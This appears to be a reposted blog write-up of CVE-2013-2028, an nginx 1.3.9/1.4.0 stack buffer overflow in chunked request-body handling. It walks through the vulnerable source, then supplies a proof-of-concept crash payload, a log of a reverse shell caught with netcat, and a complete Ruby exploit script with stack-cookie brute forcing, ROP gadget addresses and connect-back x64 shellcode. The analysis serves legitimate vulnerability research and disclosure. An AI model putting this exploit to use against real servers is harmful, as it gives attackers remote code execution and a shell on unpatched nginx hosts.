2013年5月24日 星期五

Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028)

http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we still explored several program paths and found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

The Bug

Based on the patch on nginx.org, there is a code path that leads to a stack based overflow vulnerability, related to 03 different nginx components
1) The calculation of “chunked size” when someone send a http request with the header: “Transfer-Encoding: chunked”. It is calculated at src/http/ngx_http_parse.c:2011
1if (ch >= '0' && ch <= '9') {   ctx->size = ctx->size * 16 + (ch - '0');
2  break;
3}
4c = (u_char) (ch | 0x20);
5if (c >= 'a' && c <= 'f') {   ctx->size = ctx->size * 16 + (c - 'a' + 10);
6  break;
7}
It simply parses the chunked size input as hex and convert it to base of 10. And since ctx->size is defined with size_t, an unsigned type, the value of the variable can be misinterpreted as negative number when casting to signed type, as we will see later.
2) Nginx module when serving static file:
When nginx is setup to serve static file (which is the default setting), ngx_http_static_handler in src/http/modules/ngx_http_static_module.c:49 will be executed when receiving a request.
ngx_http_static_handler will then call ngx_http_discard_request_body at src/http/modules/ngx_http_static_module.c:211.
ngx_http_discard_request_body will then call ngx_http_read_discarded_request_body at src/http/ngx_http_request_body.c:526.
In summary the code path: ngx_http_static_handler->ngx_http_static_handler->ngx_http_discard_request_body->ngx_http_read_discarded_request_body
ngx_http_read_discarded_request_body is where it gets interesting, we can see a buffer with fixed size is defined at src/http/ngx_http_request_body.c:630 as follows:
1static ngx_int_t
2ngx_http_read_discarded_request_body(ngx_http_request_t *r)
3{
4    size_t     size;
5    ssize_t    n;
6    ngx_int_t  rc;
7    ngx_buf_t  b;
8    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
NGX_HTTP_DISCARD_BUFFER_SIZE is defined as 4096 in src/http/ngx_http_request.h:19
The interesting is at how this buffer is filled at src/http/ngx_http_request_body.c:649 that we shall use later in (3)
1size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
2n = r->connection->recv(r->connection, buffer, size);
3) The state transition when parsing http request
Come back to src/http/ngx_http_request_body.c, before calling ngx_http_read_discarded_request_body, nginx check whether we have a “chunked” type of request, it will then run ngx_http_discard_request_body_filter defined in src/http/ngx_http_request_body.c:680.
ngx_http_discard_request_body_filter will execute ngx_http_parse_chunked which is the code we mentioned in (1). After that, the return value “rc” is checked with some constant to decide the next move. One of them is particularly very interesting.
1if (rc == NGX_AGAIN) {
2     /* set amount of data we want to see next time */
3     r->headers_in.content_length_n = rb->chunked->length;
4     break;
5}
Suppose we can set rb->chunked->length as a very large number at (1), and then set rc = NGX_AGAIN at (3,) following events will happen:
- r->headers_in.content_length_n is set to negative ( as it is defined with `off_t` which is “a signed integer” type.).
- The function ngx_http_discard_request_body_filter return and the program move to execute ngx_http_read_discarded_request_body. which contains our vulnerable buffer.
- Finally the recv() command is tricked to receive more than 4096 bytes and overflow the buffer on the stack.
There are many ways to set chunked->length, since rb->chunked->length is assigned at the end of ngx_http_parse_chunked function based on the rb->chunked->size that we have a direct control.
1switch (state) {
2case sw_chunk_start:
3    ctx->length = 3 /* "0" LF LF */;
4break;
5    case sw_chunk_size:
6ctx->length = 2 /* LF LF */
7              + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);
To make rc = NGX_AGAIN, we realize that for a request nginx makes the first recv with 1024 bytes, so if we send more than 1024 bytes ngx_http_parse_chunked will return with a NGX_AGAIN then when nginx tries to recv again it will be right into our setup.
The payload to overflow the stack buffer is as followed:
- Send http request with a “transfer-encoding: chunked”
- Send a large hexadecimal number to fill the entire 1024 bytes of the first read
- Send > 4096 bytes to overflow the buffer when it try to recv the second times
TL;DR ? Here is the proof of concept for x64
01require 'ronin'
02tcp_connect(ARGV[0],ARGV[1].to_i) { |s|
03    payload = ["GET / HTTP/1.1\r\n",
04            "Host: 1337.vnsecurity.net\r\n",
05            "Accept: */*\r\n",
06            "Transfer-Encoding: chunked\r\n\r\n"].join
07    payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked
08    payload << "A"*(4096+8) #padding
09    payload << "C"*8 #cookie
10    s.send(payload, 0)
11}
strace output at the other end:
1strace -p 11337 -s 5000 2>&1 | grep recv
2recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024
3recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112

Exploitation on x64:

The problem of stack cookie/carnary can be overcome easily by brute-forcing byte by byte. If we send an extra byte and a worker process crashes, it will return nothing thus we know our cookie value is wrong, we try another value until we receive some output.
Then we need to bypass ASLR and DEP. The exploitation for 32-bit in the metasploit module won’t work, since it will bruteforce the libc address and it’s not feasible given the large address space in x64.
We give an exploit that only relies on the binary i.e. we build the ROP gadget from the binary. mprotect address is computed from mmap64 address (in the GOT-table) then use to allocate a writable-executable memory chunked. Then we use some ROP gadgets to copy our shellcode and have it executed by return to it finally.
TL;DR full exploit code could be find here
01ruby exp-nginx.rb 1.2.3.4 4321
02[+] searching for byte: 1
03214
04[+] searching for byte: 2
05102
06[+] searching for byte: 3
07232
08[+] searching for byte: 4
09213
10[+] searching for byte: 5
11103
12[+] searching for byte: 6
13151
14[+] searching for byte: 7
1545
16Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8
17PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000
181120 connections
At w.w.w.w
01nc -lvvv 4000
02Connection from 1.2.3.4 port 4000 [tcp/*] accepted
03uname -a
04Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
05id
06uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin)
07ps aux | grep nginx
08ubuntu    2920  0.1  0.0  13920   668 ?        Ss   15:11   0:01 nginx: master process ./sbin/nginx
09ubuntu    5037  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
10ubuntu    5039  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
11ubuntu    5041  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process

Reliable exploitation

There are some reasons that the above exploitation/technique may not work in practice:
1) Nginx uses non-blocking recv(). If we can’t send enough data to overwrite the return address/cookie the exploit will failed. This is mostly the case since the normal server will be loaded with requests from different user.
2) Our analysis here is for the default setting of nginx, the code path can be very different with another setting thus making the exploit somewhat useless.
3) A blind attack is difficult without the knowledge of the binary / OS at the remote server. For 32-bit OS, one may further bruteforce the “write” address in the code space in order to leak information but It will still fail for PIE.
Trying to make this more practical in real world environments, we actually found another attack vector which is more reliable and worked on several nginx settings. However, we will keep it for another post.

nginx-1.4.0 / exp-nginx.rb
https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb


# encoding: ASCII


abort("#{$0} host port") if ARGV.length < 2


require 'ronin'




$count = 0




# rop address taken from nginx binary (find in the repo)


poprdi = 0x00427006


poprsi = 0x0043a00e


poprdx = 0x0041b8fa


poprax = 0x00442c80




mmap64 = 0x4029b0


mmapgot = 0x67f290


mmapaddr = 0x00410000




rsito_rax_ = 0x0042afcb


add_rdi_al = 0x00462de4




# change mmap64 to mprotect, easier to find gadget


$ropchain = [


  poprax, 0x60,


  poprdi, mmapgot,


  add_rdi_al,




  poprax, mmapgot,


  poprdx, 0x7,


  poprsi, 0x1000,


  poprdi, mmapaddr,


  mmap64


].pack("Q*")




#connect back shellcode x64


ip = "0.0.0.0"


port = 4000


sip = IPAddr::new(ip).to_i.pack(:int_be)


sport = port.pack(:int16_be)




$shellcode = "\x48\x31\xd2\x48\x31\xc0\xb2\x02\x48\x89\xd7\xb2\x01\x48\x89\xd6\xb2\x06\xb0\x29\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xbb#{sip}\x48\xc1\xe3\x20\x66\xb8#{sport}\xc1\xe0\x10\xb0\x02\x48\x09\xd8\x50\x48\x89\xe6\x48\x31\xd2\xb2\x10\x48\x31\xc0\xb0\x2a\x0f\x05\x48\x31\xf6\x48\x31\xc0\xb0\x21\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xf6\x48\x31\xd2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05\xc3"




$shellcode << ("\x90" * (8 - ($shellcode.length % 8)))




# copy the shellcode to mmapaddr


(0...$shellcode.length).step(8) { |p|


  code = $shellcode[p,8].unpack(:uint64)[0]


  chain = [poprax, mmapaddr + p, poprsi, code, rsito_rax_].pack("Q*")




  $ropchain << chain


}




# finally jump to it


$ropchain << mmapaddr.pack(:uint64)




# payload for crash


$payload = [


  "GET / HTTP/1.1\r\n",


  "Host: 1337.vnsec.net\r\n",


  "Accept: */*\r\n",


  "Transfer-Encoding: chunked\r\n\r\n"


].join


$chunk = "f"*(1024-$payload.length-8) + "0f0f0f0f"


$payload << $chunk




def crash(cookie, cookie_test=true)


  data = ''


  payload = $payload.dup


  payload << ["A"*(4096+8), cookie].join


  payload << ["C"*24, $ropchain].join unless cookie_test




  5.times do


    tcp_session(ARGV[0],ARGV[1].to_i) do |s|


      $count += 1


      s.send(payload, 0)


      data = s.recv(10)


    end




    return true if data.strip.empty?


  end




  return false


end




s = [0]


if ARGV.length < 3


  # test cookie


  while s.length < 8


    print_info "searching for byte: #{s.length}"


    (1..255).each do |c|


      print "\r#{c}"


      s1 = s + [c]




      unless crash(s1.pack("c*"))


        s << c


        puts


        break


      end


    end


  end


  s = s.pack("c*")


else


  # try it ?


  s = (ARGV[2]).gsub("\\x","").hex_decode




  if crash(s)


    print_error "Wrong cookie"


    exit


  end


end




print_info "Found cookie: #{s.hex_escape} #{s.length}"




print_info "PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT #{ip} #{port}"


$stdin.readline




crash(s, false)


print_info "#{$count} connections"

沒有留言:

張貼留言